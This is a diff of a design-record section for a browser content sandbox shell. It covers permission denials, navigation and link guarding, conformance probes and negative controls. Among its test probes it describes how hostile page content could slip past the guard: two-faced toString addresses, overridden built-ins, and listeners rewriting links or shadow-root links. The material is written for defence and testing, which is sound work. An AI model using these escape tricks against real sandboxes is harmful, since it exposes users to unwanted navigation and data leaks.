serial, HID, Bluetooth, MIDI, sensors, credentials, web share, autoplay, wake lock and the
|
|
4459
|
+
rest whose default allowlist is `'self'`) `=()`, less what `delegatedFeatures` says the frame's
|
|
4460
|
+
`allow` grants (nothing, outside url mode). In a frame it changes nothing: a cross-origin
|
|
4461
|
+
frame has none of these unless its `allow` names them, and a frame's features are the
|
|
4462
|
+
intersection of the two; `*`-default features (a video's picture-in-picture) are left out for
|
|
4463
|
+
that reason. On a tab it is the only denial. The agreement test holds the header to the
|
|
4464
|
+
frame's `allow` for every preset. Only Chromium applies it here (measured with the shell's
|
|
4465
|
+
locks out, `device-locks`: WebKit and Firefox gave a tab location the browser had granted), so
|
|
4466
|
+
the shell, on a tab only, also refuses `getUserMedia`, `getDisplayMedia`, `getCurrentPosition`, `watchPosition`
|
|
4467
|
+
and `requestFullscreen` as a denial does, at once, without a prompt: the manual's "camera,
|
|
4468
|
+
microphone, location denied without asking" and "full screen closed" now hold on a tab too.
|
|
4469
|
+
After the independent review of a32f5b2, likewise passkeys and saved passwords
|
|
4470
|
+
(`navigator.credentials.create`, `get`, `store`), the share sheet (`navigator.share`;
|
|
4471
|
+
`canShare` says no), payments (`PaymentRequest` throws `SecurityError`, as the header makes it:
|
|
4472
|
+
a payment method's address is fetched by the browser, outside the CSP) and WebKit's video full
|
|
4473
|
+
screen (`webkitEnterFullscreen`). `served.domain.tab-prompts` asks for each where the engine
|
|
4474
|
+
has it, after a click: each refused at once (a prompt waits for the person, up to the request's
|
|
4475
|
+
timeout), the payment method's address never fetched. With the shell's locks out
|
|
4476
|
+
(`device-locks`) it fails on Firefox (a passkey request waited); with the header out too, on
|
|
4477
|
+
Chromium as well; WebKit refused each at once either way here (no share sheet on desktop, no
|
|
4478
|
+
authenticator to ask).
|
|
4479
|
+
*The list* is held to Chromium's own (`permissions_policy_features.json5`, checked in as
|
|
4480
|
+
`test/reference/permissions-policy-features.json`, read 2026-10-20): every feature a web page
|
|
4481
|
+
has whose default allowlist is `'self'` is denied, but client hints, `cross-origin-isolated`
|
|
4482
|
+
and Chromium's sample, each kept with its reason in `test/permissions-policy.test.ts`, which
|
|
4483
|
+
fails on a refreshed reference until a new feature is classified. The review's eight names
|
|
4484
|
+
(`digital-credentials-get`, `captured-surface-control`, `deferred-fetch`, `keyboard-map`,
|
|
4485
|
+
`compute-pressure`, `summarizer`, `translator`, `language-detector`) are all there, with 18
|
|
4486
|
+
more (the other built-in models, `webnn`, WebMCP's `tools`, local network access, `autofill`,
|
|
4487
|
+
`digital-credentials-create`, `web-app-installation`, …). An engine logs each name it doesn't
|
|
4488
|
+
know (measured: Playwright's Chromium 153 names `ambient-light-sensor`, `autofill`, `bluetooth`
|
|
4489
|
+
and more) and ignores it; a name it learns later is denied from that day.
|
|
4490
|
+
4. **The shell, on a tab** (`window.top === window`): `window.open` answers null (a `_self`
|
|
4491
|
+
target stays a navigation of the document, which the guard decides), and
|
|
4492
|
+
`DocumentPictureInPicture.prototype.requestWindow` rejects, both fixed in place. For
|
|
4493
|
+
`window.open` the second wall, behind the sandbox, for an edge that drops or rewrites the
|
|
4494
|
+
header; for picture-in-picture also the second: with the shell's locks out (`window-open`), the
|
|
4495
|
+
sandbox refuses it, on Chromium (`InvalidStateError`) and Firefox (`UnknownError`, no window
|
|
4496
|
+
made). In a frame the frame's sandbox stays the wall, and
|
|
4497
|
+
row 6's `sandbox` control still fails `6.open`.
|
|
4498
|
+
*`navigation.navigate()` asks first, in every shell.* WebKit sends its request though the
|
|
4499
|
+
navigate event cancels the navigation (measured on a tab: the canary heard an outside site
|
|
4500
|
+
while the page stayed and the call rejected with `AbortError`; `location.href` sent nothing,
|
|
4501
|
+
and a `blob:` target, which has no request, stayed too; live.spec.ts had seen WebKit start it
|
|
4502
|
+
in a frame without the event first). So the shell wraps `Navigation.prototype.navigate`, and a
|
|
4503
|
+
tab's `open(…, "_self")`, with the guard's own rule (`mayNavigate`: the same address, a
|
|
4504
|
+
fragment, or another page of the set, P084, go on; anything else is stopped before any request,
|
|
4505
|
+
answered as an aborted navigation, and told to the host as the guard tells it).
|
|
4506
|
+
After the next review: the address is read once (`String()` and resolved there) and the call is
|
|
4507
|
+
given that address, absolute, so an object whose `toString` names a page of its own the first
|
|
4508
|
+
time and an outside site the next can't pass the rule and then go elsewhere (it did on WebKit:
|
|
4509
|
+
the canary heard it). The rule reads through the platform's own functions, kept at the start
|
|
4510
|
+
(`String`, `URL`, the `href` getter, `String.prototype`'s `indexOf`, `slice`, `lastIndexOf`,
|
|
4511
|
+
`toLowerCase`; `ownPage` too, which the guard and P084's links share, and the renewal's check
|
|
4512
|
+
of a sealed base), so a page that replaces them can't make an outside address look like its
|
|
4513
|
+
own. And a link that would navigate a tab (no target, `_self`, `_top`, `_parent`) asks the same
|
|
4514
|
+
rule from the first click listener there is (the shell's, on `window`, capturing, reading the
|
|
4515
|
+
event's target, `closest` and `getAttribute` through the platform's own), before content can
|
|
4516
|
+
step past the shell's own link handling: WebKit sent a link's request though the navigate event
|
|
4517
|
+
cancelled it. Measured on WebKit, each way from a tab of its own: `location.href`,
|
|
4518
|
+
`location.assign`, `location.replace` and `open(…, "_self")` sent nothing (the navigate event
|
|
4519
|
+
stops them before any request); a link and `navigation.navigate()` did, until the rule asked
|
|
4520
|
+
first. At 6cbaeb8 the canary heard a link, a two-faced `navigate()`, and both with the
|
|
4521
|
+
built-ins lying; now none, on any engine. `served.domain.tab-navigation` tries each way
|
|
4522
|
+
(`location`, `assign`, `replace`, a link past the shell, `navigate()`, `open(…, "_self")`, both
|
|
4523
|
+
two-faced, and a link and `navigate()` with the built-ins lying) toward a `blob:` document of
|
|
4524
|
+
its own and an outside site, each in a fresh tab (WebKit sent such a request from a tab's first
|
|
4525
|
+
attempt and not always after); the `navigate-ask` control (the rule says yes to everything)
|
|
4526
|
+
fails it on WebKit only, as measured, and `navigate-guard` now takes both out.
|
|
4527
|
+
*A tab's links are followed by the shell* (after the next review). Checking a link in the
|
|
4528
|
+
first listener wasn't enough: the browser follows a link with the `href` and `target` it has
|
|
4529
|
+
once every listener ran, so a listener after the shell's could change them (a page's own
|
|
4530
|
+
address to an outside one, `_blank` to `_self`, an `href` added, a `download` dropped), and a
|
|
4531
|
+
link in a shadow root wasn't seen at all (at `window` the event's target is the host). Now the
|
|
4532
|
+
shell's first click listener takes every plain click on a link, found through the event's
|
|
4533
|
+
composed path, from the browser: it cancels it (through the platform's own `preventDefault`),
|
|
4534
|
+
reads `href`, `target` and `download` once, and after every listener ran (a task later), unless
|
|
4535
|
+
content cancelled the click itself (`preventDefault` and `returnValue` are wrapped on a tab to
|
|
4536
|
+
say so; an inline handler's `return false` isn't seen), follows what it read with a detached
|
|
4537
|
+
link of its own, which no listener of content's sees, where the rule lets it: the same document
|
|
4538
|
+
(a fragment jumps), another page of the set (P084), a download of the page's own (same origin,
|
|
4539
|
+
`blob:`, `data:`; the sandbox then refuses it, as before). A link to a new window does nothing
|
|
4540
|
+
(the sandbox refuses it anyway); a modified or middle click is left to the browser (a window or
|
|
4541
|
+
a download, both refused by the sandbox). On a tab a closed shadow root is made open to the
|
|
4542
|
+
platform and kept closed to content (its host's `shadowRoot` is null, its `mode` "closed"),
|
|
4543
|
+
so its links are in the composed path too. `served.domain.tab-links` tries each (an `href`
|
|
4544
|
+
switched, a `target` switched, an `href` added, a `download` dropped, by a listener after the
|
|
4545
|
+
shell's that also stops the rest; a link in an open and in a closed shadow root, every listener
|
|
4546
|
+
after the shell's stopped), each from a fresh tab, and checks a fragment link still jumps and a
|
|
4547
|
+
link content cancels goes nowhere. At e26dff6 WebKit's canary heard five of the six (an `href`
|
|
4548
|
+
switched, a `target` switched, an `href` added, both shadow roots); now none, on any engine.
|
|
4549
|
+
The `link-rule` control (the browser follows links again) fails `.tab-links` and
|
|
4550
|
+
`.tab-navigation` on WebKit only.
|
|
4551
|
+
*A lock that doesn't take.* `lock` fixes each wall with a non-configurable property; one that
|
|
4552
|
+
something fixed before the shell ran (an extension, an engine's own) can't be, and was
|
|
4553
|
+
swallowed. Now each such name goes on the shell's own script element
|
|
4554
|
+
(`data-porthole-unfixed`) and, once the shell can speak, to the host as an error report. The
|
|
4555
|
+
tab case "the shell fixes each of its walls in place" finds none in a frame or on a tab on any
|
|
4556
|
+
engine, and names `RTCPeerConnection` where a script fixed it first. WebKit's `ApplePaySession` is locked
|
|
4557
|
+
with the other payments (absent in Playwright's WebKit on Linux: `.tab-prompts` asks where it
|
|
4558
|
+
is).
|
|
4559
|
+
5. **Probes**, in the served conformance suite (shipped: `defineHostConformance` runs them against
|
|
4560
|
+
an app's real page and edge): `served.domain.tab-window-open`, `.tab-escapes`, `.tab-opener`,
|
|
4561
|
+
`.tab-navigation` (an outside site, then a `blob:` document of its own), `.tab-devices`
|
|
4562
|
+
(location, camera and microphone, with the browser's
|
|
4563
|
+
permission granted, and full screen after a click: each refused) (`TAB_CASES`, one per wall),
|
|
4564
|
+
and `served.domain.self-navigation` (a served
|
|
4565
|
+
frame sends itself to an outside site, which the embedding page's `frame-src` stops, and to
|
|
4566
|
+
another content origin, which only the guard does: the served suite had no self-navigation
|
|
4567
|
+
probe; the leak suite's ran in opaque frames only). Porthole's own (`leak/served/tab.spec.ts`):
|
|
4568
|
+
the four against the reference serving, a file set's page on a tab (its module, its fetch and
|
|
4569
|
+
its links to its own pages work; nothing else opens), and a frame's sealed address opened on a
|
|
4570
|
+
tab. Negative controls (P032): `tab-sandbox` (the harness drops the header's `sandbox`),
|
|
4571
|
+
`window-open` (the shell's window locks on a tab taken out), `permissions-policy` (the harness
|
|
4572
|
+
drops the header) and `device-locks` (the shell's device locks taken out), in
|
|
4573
|
+
`scripts/controls.ts`.
|
|
4574
|
+
6. **Checked unchanged**: the url-mode relay (`fromUpstream` adds `frame-ancestors` only;
|
|
4575
|
+
`served.url.tab`); redirect entry and the handoff (redirects and Porthole's pages, never
|
|
4576
|
+
content's: `files.spec.ts` on a tab, the kit's entry cases); a frame's sealed address (the same
|
|
4577
|
+
flags; `files.spec.ts` in a frame on WebKit, its renewal); a set's pages opening each other
|
|
4578
|
+
(P084, on a tab now too); the runtime's `artifact`, `user`, `db` (in a frame the same flags; on
|
|
4579
|
+
a tab there is no host, and `use` resolves null at once, as before).
|
|
4580
|
+
**Rejected.** Keying the sandbox on `Sec-Fetch-Dest` (above). An opaque origin on a tab (above).
|
|
4581
|
+
The shell's lock alone (the review's minimum): a script can't undo it, but it leaves links and
|
|
4582
|
+
forms aimed at new windows clicked past the shell's handler, downloads, dialogs and the opener.
|
|
4583
|
+
`Cross-Origin-Opener-Policy` on served pages, to cut the opener: the sandbox already refuses its
|
|
4584
|
+
navigation, and COOP changes how a host's own tab handling sees the page; not needed for this.
|
|
4585
|
+
A sandbox on a url-mode app's tab: the app is code the host trusts to its origin's reach (P020,
|
|
4586
|
+
P037), and needs what it would take away (sign-in popups, form posts, downloads).
|
|
4587
|
+
**Revisit when** an engine lets a CSP govern a document's own navigation (the guard would get a
|
|
4588
|
+
second wall on a tab); a host needs a served page to open windows from a tab (through the host,
|
|
4589
|
+
`links.open`/`openLink`, never `allow-popups`); the platform adds a powerful feature with a
|
|
4590
|
+
`'self'` default (it joins `FRAME_DENIED_FEATURES`); or WebKit and Firefox apply
|
|
4591
|
+
`Permissions-Policy` to these features (the shell's device locks become the second wall there too).
|